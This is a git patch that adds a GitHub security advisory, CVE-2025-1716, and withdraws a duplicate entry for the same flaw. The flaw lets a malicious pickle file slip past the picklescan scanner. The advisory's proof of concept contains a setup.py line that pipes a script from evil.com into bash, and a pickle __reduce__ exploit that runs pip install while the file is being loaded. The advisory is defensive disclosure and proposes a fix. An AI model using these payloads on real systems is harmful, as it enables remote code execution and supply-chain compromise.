From 04567ecbaaaf4052b6c738214882846e96a1e264 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 3 Mar 2025 20:07:07 +0000 Subject: [PATCH] Publish Advisories GHSA-655q-fx9r-782v GHSA-vr75-hjh9-7fr6 GHSA-vr75-hjh9-7fr6 --- .../GHSA-655q-fx9r-782v.json | 69 +++++++++++++++++++ .../GHSA-vr75-hjh9-7fr6.json | 64 +++++++++++++++++ .../GHSA-vr75-hjh9-7fr6.json | 44 ------------ 3 files changed, 133 insertions(+), 44 deletions(-) create mode 100644 advisories/github-reviewed/2025/03/GHSA-655q-fx9r-782v/GHSA-655q-fx9r-782v.json create mode 100644 advisories/github-reviewed/2025/03/GHSA-vr75-hjh9-7fr6/GHSA-vr75-hjh9-7fr6.json delete mode 100644 advisories/unreviewed/2025/03/GHSA-vr75-hjh9-7fr6/GHSA-vr75-hjh9-7fr6.json diff --git a/advisories/github-reviewed/2025/03/GHSA-655q-fx9r-782v/GHSA-655q-fx9r-782v.json b/advisories/github-reviewed/2025/03/GHSA-655q-fx9r-782v/GHSA-655q-fx9r-782v.json new file mode 100644 index 00000000000..417333f0f7b --- /dev/null +++ b/advisories/github-reviewed/2025/03/GHSA-655q-fx9r-782v/GHSA-655q-fx9r-782v.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-655q-fx9r-782v", + "modified": "2025-03-03T20:05:49Z", + "published": "2025-03-03T20:05:49Z", + "aliases": [ + "CVE-2025-1716" + ], + "summary": "Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis", + "details": "### Summary\nAn unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.\n\n### Details\nPickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.\n\nThe payload executes the following steps:\n\n1. During unpickling, it calls pip.main() to install a malicious PyPI package.\n2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.\n3. Execution is silent, with minimal logging to avoid detection.\n\n### PoC\n\nStep 1: Create the Malicious Package\nHost a PyPI package with a malicious setup.py or entry_point.\n\nExample malicious `setup.py`\n```\nfrom setuptools import setup\nimport os\n\nos.system(\"curl -s https://evil.com/payload.sh | bash\") # Executes remote shell script\n\nsetup(\n name=\"rsac-demo-package\",\n version=\"0.1\",\n packages=[\"rsac_demo\"],\n install_requires=[],\n)\n```\nUpload it to PyPI or host on GitHub.\n\nStep 2: Exploit via Pickle\n```\nimport pickle\nimport pip\n\nclass Exploit:\n def __reduce__(self):\n return pip.main, (\n ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',\n '--exists-action', 'i', '--isolated'],\n )\n\nmalicious_pickle = pickle.dumps(Exploit())\n\n# Simulating deserialization attack\npickle.loads(malicious_pickle)\n```\nThis installs a malicious package from GitHub or PyPI.\nThe payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file.\n\n\n### Impact\nRemote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\nBypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.\n\n### Recommended Fixes\nAdd `\"pip\": \"*\"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.0.21" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-184" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-03-03T20:05:49Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/03/GHSA-vr75-hjh9-7fr6/GHSA-vr75-hjh9-7fr6.json b/advisories/github-reviewed/2025/03/GHSA-vr75-hjh9-7fr6/GHSA-vr75-hjh9-7fr6.json new file mode 100644 index 00000000000..c0703651561 --- /dev/null +++ b/advisories/github-reviewed/2025/03/GHSA-vr75-hjh9-7fr6/GHSA-vr75-hjh9-7fr6.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vr75-hjh9-7fr6", + "modified": "2025-03-03T20:05:26Z", + "published": "2025-03-03T18:31:25Z", + "withdrawn": "2025-03-03T20:05:26Z", + "aliases": [], + "summary": "Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.0.21" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d" + }, + { + "type": "WEB", + "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-184" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-03-03T20:05:26Z", + "nvd_published_at": "2025-02-26T15:15:24Z" + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2025/03/GHSA-vr75-hjh9-7fr6/GHSA-vr75-hjh9-7fr6.json b/advisories/unreviewed/2025/03/GHSA-vr75-hjh9-7fr6/GHSA-vr75-hjh9-7fr6.json deleted file mode 100644 index 68265a04710..00000000000 --- a/advisories/unreviewed/2025/03/GHSA-vr75-hjh9-7fr6/GHSA-vr75-hjh9-7fr6.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-vr75-hjh9-7fr6", - "modified": "2025-03-03T18:31:25Z", - "published": "2025-03-03T18:31:25Z", - "aliases": [ - "CVE-2025-1716" - ], - "details": "picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" - } - ], - "affected": [], - "references": [ - { - "type": "WEB", - "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716" - }, - { - "type": "WEB", - "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d" - }, - { - "type": "WEB", - "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-184" - ], - "severity": "MODERATE", - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2025-02-26T15:15:24Z" - } -} \ No newline at end of file